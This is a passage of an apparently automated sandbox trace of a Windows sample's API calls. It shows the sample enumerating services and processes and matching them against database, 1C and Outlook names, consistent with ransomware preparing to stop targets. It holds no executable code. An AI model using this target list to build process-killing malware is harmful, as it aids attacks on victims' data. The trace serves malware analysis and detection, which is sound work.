lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0271.076] GetLastError () returned 0xea [0271.077] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x11e4) returned 0x41a2db8 [0271.077] EnumServicesStatusExW (in: hSCManager=0x8d32d8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41a2db8, cbBufSize=0x11e4, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41a2db8, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0271.078] CloseServiceHandle (hSCObject=0x8d32d8) returned 1 [0271.079] lstrlenW (lpString="Appinfo") returned 7 [0271.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0271.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0271.079] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0271.079] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0271.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0271.079] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0271.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0271.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0271.079] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0271.080] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0271.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0271.080] lstrlenW (lpString="AudioSrv") returned 8 [0271.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0271.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0271.080] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0271.080] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0271.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0271.080] lstrlenW (lpString="BFE") returned 3 [0271.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0271.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0271.080] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0271.081] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0271.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0271.081] lstrlenW (lpString="CryptSvc") returned 8 [0271.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0271.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0271.081] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0271.081] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0271.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0271.081] lstrlenW (lpString="CscService") returned 10 [0271.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0271.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0271.081] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0271.081] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0271.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0271.082] lstrlenW (lpString="DcomLaunch") returned 10 [0271.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0271.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0271.082] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0271.082] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0271.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0271.082] lstrlenW (lpString="Dhcp") returned 4 [0271.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0271.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0271.082] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0271.082] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0271.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0271.083] lstrlenW (lpString="Dnscache") returned 8 [0271.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0271.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0271.083] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0271.083] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0271.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0271.083] lstrlenW (lpString="DPS") returned 3 [0271.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0271.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0271.083] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0271.083] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0271.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0271.083] lstrlenW (lpString="eventlog") returned 8 [0271.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0271.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0271.084] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0271.084] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0271.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0271.084] lstrlenW (lpString="EventSystem") returned 11 [0271.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0271.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0271.084] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0271.084] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0271.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0271.084] lstrlenW (lpString="gpsvc") returned 5 [0271.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0271.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0271.085] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0271.085] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0271.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0271.085] lstrlenW (lpString="iphlpsvc") returned 8 [0271.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0271.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0271.085] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0271.085] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0271.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0271.085] lstrlenW (lpString="LanmanServer") returned 12 [0271.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0271.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0271.086] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0271.086] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0271.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0271.086] lstrlenW (lpString="LanmanWorkstation") returned 17 [0271.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0271.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0271.086] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0271.086] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0271.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0271.087] lstrlenW (lpString="lmhosts") returned 7 [0271.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0271.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0271.087] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0271.087] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0271.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0271.087] lstrlenW (lpString="MMCSS") returned 5 [0271.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0271.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0271.087] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0271.087] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0271.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0271.088] lstrlenW (lpString="MpsSvc") returned 6 [0271.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0271.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0271.088] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0271.088] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0271.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0271.088] lstrlenW (lpString="Netman") returned 6 [0271.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0271.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0271.088] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0271.088] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0271.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0271.089] lstrlenW (lpString="netprofm") returned 8 [0271.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0271.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0271.089] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0271.089] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0271.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0271.089] lstrlenW (lpString="NlaSvc") returned 6 [0271.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0271.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0271.089] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0271.089] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0271.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0271.089] lstrlenW (lpString="nsi") returned 3 [0271.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0271.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0271.090] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0271.090] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0271.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0271.090] lstrlenW (lpString="PcaSvc") returned 6 [0271.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0271.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0271.090] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0271.090] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0271.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0271.090] lstrlenW (lpString="PlugPlay") returned 8 [0271.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0271.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0271.091] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0271.091] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0271.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0271.091] lstrlenW (lpString="Power") returned 5 [0271.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0271.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0271.091] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0271.091] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0271.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0271.091] lstrlenW (lpString="ProfSvc") returned 7 [0271.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0271.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0271.092] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0271.092] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0271.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0271.092] lstrlenW (lpString="RpcEptMapper") returned 12 [0271.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0271.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0271.093] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0271.093] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0271.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0271.093] lstrlenW (lpString="RpcSs") returned 5 [0271.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0271.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0271.093] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0271.093] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0271.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0271.093] lstrlenW (lpString="SamSs") returned 5 [0271.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0271.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0271.093] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0271.094] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0271.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0271.094] lstrlenW (lpString="Schedule") returned 8 [0271.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0271.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0271.094] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0271.094] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0271.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0271.094] lstrlenW (lpString="SENS") returned 4 [0271.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0271.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0271.094] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0271.095] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0271.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0271.095] lstrlenW (lpString="ShellHWDetection") returned 16 [0271.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0271.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0271.095] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0271.095] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0271.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0271.095] lstrlenW (lpString="Spooler") returned 7 [0271.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0271.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0271.095] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0271.095] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0271.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0271.096] lstrlenW (lpString="SysMain") returned 7 [0271.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0271.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0271.096] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0271.096] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0271.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0271.096] lstrlenW (lpString="Themes") returned 6 [0271.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0271.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0271.096] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0271.096] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0271.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0271.096] lstrlenW (lpString="TrkWks") returned 6 [0271.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0271.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0271.097] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0271.097] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0271.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0271.097] lstrlenW (lpString="UxSms") returned 5 [0271.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0271.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0271.097] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0271.097] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0271.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0271.097] lstrlenW (lpString="WdiServiceHost") returned 14 [0271.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0271.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0271.098] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0271.098] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0271.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0271.098] lstrlenW (lpString="WdiSystemHost") returned 13 [0271.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0271.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0271.098] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0271.098] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0271.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0271.099] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0271.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0271.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0271.099] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0271.099] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0271.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0271.099] lstrlenW (lpString="Winmgmt") returned 7 [0271.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0271.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0271.099] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0271.099] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0271.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0271.100] lstrlenW (lpString="WPDBusEnum") returned 10 [0271.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0271.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0271.100] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0271.100] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0271.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0271.100] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x41a2db8 | out: hHeap=0x880000) returned 1 [0271.100] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3b0 [0271.106] Process32FirstW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0271.107] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x54, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0271.108] lstrlenW (lpString="System") returned 6 [0271.108] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0271.108] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0271.108] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0271.108] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0271.108] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0271.108] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0271.108] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0271.108] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0271.109] lstrlenW (lpString="smss.exe") returned 8 [0271.110] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0271.110] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0271.110] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0271.110] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0271.110] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0271.110] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0271.110] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0271.110] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0271.111] lstrlenW (lpString="csrss.exe") returned 9 [0271.111] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0271.111] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0271.111] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0271.111] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0271.112] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0271.112] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0271.112] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0271.112] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0271.113] lstrlenW (lpString="wininit.exe") returned 11 [0271.113] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0271.113] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0271.113] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0271.113] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0271.113] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0271.113] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0271.113] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0271.113] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0271.115] lstrlenW (lpString="csrss.exe") returned 9 [0271.115] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0271.115] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0271.115] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0271.115] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0271.115] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0271.115] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0271.115] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0271.116] lstrlenW (lpString="winlogon.exe") returned 12 [0271.116] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, 